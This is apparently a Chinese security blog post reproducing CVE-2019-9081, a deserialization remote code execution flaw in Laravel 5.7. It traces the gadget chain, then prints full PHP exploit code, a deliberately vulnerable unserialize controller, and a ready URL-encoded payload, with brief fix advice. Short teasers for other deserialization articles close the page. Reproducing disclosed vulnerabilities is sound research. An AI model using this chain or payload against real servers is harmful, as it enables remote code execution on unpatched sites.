CVE-2019-9081 Laravel5.7 反序列化 RCE复现

VSole2022-01-14 16:15:45

漏洞简介

Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码。

漏洞影响

Laravel5.7

漏洞分析

laravel在5.7之后加入了PendingCommand类,同时发现了两个方法。

PendingCommand类有魔术方法__destruct(),该方法调用run函数,然后run函数执行命令,我们跟进看一下构造方法。

一共需要用到4个属性,我们继续跟进run方法看一下。

注意$this->mockConsoleOutput();我们跟进看一下。

继续跟进createABufferedOutputMock()。

继续走下去,我们需要属性$this->test->expectedOutput。

我们需要找到类中用expectedOutput,经过全局搜索,在Illuminate\Foundation\Testing\Concerns,存在。

但是这种类,需要用魔法方法get,来实例化。

在vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php中存在可以利用的get方法。

设置键名为expectedOutput的数组,即可利用。现在就缺$app参数,我们回去接着跟进run方法。

这里也很重要:

$this->app[Kernel::class]

这里在实例化对象,再去调对应的call方法,跟着Kerne可以看到是在实例化。

Illuminate\Contracts\Console\Kernel

首先进入到:

跟进make方法:

跟进父类的make:

跟进resolve:

那么此时发现$concrete的值来自于getConcrete($abstract):

vendor/laravel/framework/src/Illuminate/Container/Container.php

跟进getConcrete:

注意这里:

if (isset($this->bindings[$abstract])) {    return $this->bindings[$abstract]['concrete'];}

如果bindings[$abstract]存在,则会返回bindings[$abstract][‘concrete’]。

bindings是类Container的属性,并且类Container中也有可以RCE的call方法。

到现在,我们可以整理一下思路:

我们可以任意实例化类Container的子类,这样在其子类调用call的时候,会触发类Container的call方法,那么即可达成RCE

我们选择Illuminate\Foundation\Application而$abstract的值为Illuminate\Contracts\Console\Kernel。

那么此时我们容易知道$bindings只要存在键名为Illuminate\Contracts\Console\Kernel的数组,就能进入该if条件句,那么我们只要按如下进行构造:

1.类PendingCommand 利用 destruct触发run()方法2.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 构造数组3.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用 get()魔法方法满足mockConsoleOutput4.利用任意实例化对象,实例化Illuminate\Foundation\Application5.调用call触发父类call方法RCE

exp如下:

 namespace Illuminate\Foundation\Testing{    class PendingCommand{        protected $command;        protected $parameters;        protected $app;        public $test;         public function __construct($command, $parameters,$class,$app){            $this->command = $command;            $this->parameters = $parameters;            $this->test=$class;            $this->app=$app;        }    }} namespace Illuminate\Auth{    class GenericUser{        protected $attributes;        public function __construct(array $attributes){            $this->attributes = $attributes;        }    }} namespace Illuminate\Foundation{    class Application{        protected $hasBeenBootstrapped = false;        protected $bindings;         public function __construct($bind){            $this->bindings=$bind;        }    }} namespace{    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("phpinfo",array('1'),$genericuser,$application);    echo urlencode(serialize($pendingcommand));}?>

漏洞复现

在routes/web.php添加一条路由:

Route::get('/index', 'TaskController@index');

接下来在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:

namespace App\Http\Controllers;highlight_file(__FILE__);class TaskController{    public function index(){        if(isset($_GET['code']))        {            $code=$_GET['code'];            unserialize($code);            return "Welcome to H3'palce";        }    }}?>

利用exp生成payload,然后传值过去。

payload:

http://127.0.0.1/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

漏洞修复

  • 删除__destruct中的$this->run()代码段
  • 更新到新版本


漏洞序列化
本作品采用《CC 协议》,转载必须注明作者和本文链接
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
序列化的核心思维旨在,将A变成B,最后再从B还原回A。 总之,在一些条件苛刻或者变化无常的环境与需求中,产生了这种灵活的可逆性的B的中间体。 理解不安全反序列化的最好方法是了解不同的编程语言如何实现序列化和反序列化。这里的序列化与反序列化指的是程序语言中自带的实施与实现。而非自创或者自定义的序列化与反序列化机制(比如:N进制形式hashmap树型等其他数据结构里的序列化中间体)。
漏洞影响版本 Jboss 漏洞搭建 在阿里云端,用docker 搭建测试环境jboos使用的漏洞库是 vulhub ,进入漏洞库选择jboos里面有三个选项选择第一个cve.输入 docker-compose up -d 启动 本地测试,在浏览器输入访问 /invoker/readonly,若显示HTTP Status 500,则说有反序列化漏洞。使用工具测试验证漏洞是否存在,工具下载地址: ... 执行whoami命令
前置知识分析Transformer接口及其实现类。transform()传入对象,进行反射调用。构造调用链调用链构造原则:找调用关系要找不同名的方法,如果找到同名,再通过find usages得到的还是一样的结果。找到InvokerTransformer类中的transform(),右键,点 Find Usages,找函数调用关系,最好找不同名的方法,调用了transform()。因为transform()调用transform()不能换到别的方法里,没有意义。如果有一个类的readObject()调用了get(),那我们就可能找到了调用链。最终选择TransformedMap这个类,因为TransformedMap类中有好几处都调用了transform()。
使用 SerializationBinder 无法完全修复反序列化漏洞隐患。经过深入研究总结了两种不安全 SerializationBinder 限定的绕过方式,下面分享给大家。
近日Oracle通报了一个反序列化漏洞CVE-2022-21445,未经身份认证的远程攻击者可利用该漏洞实现反序列化操作导致任意代码执行。任何基于ADF Faces框架开发的程序都受到此漏洞的影响,包括Oracle的多个产品。
Fastjson Develop Team发布安全公告,修复了一个存在于Fastjson1.2.80 及之前版本中的反序列化漏洞漏洞编号:暂无,漏洞威胁等级:高危。
JDK7u21的核心点是我们在cc1中也出现过的AnnotationInvocationHandler,在cc1中我们用到了他会触发this.memberValues.get(var4);这个点,而在JDK7u21中利用到了他里面的equalsImpl。先来看一下equalsImpl。
VSole
网络安全专家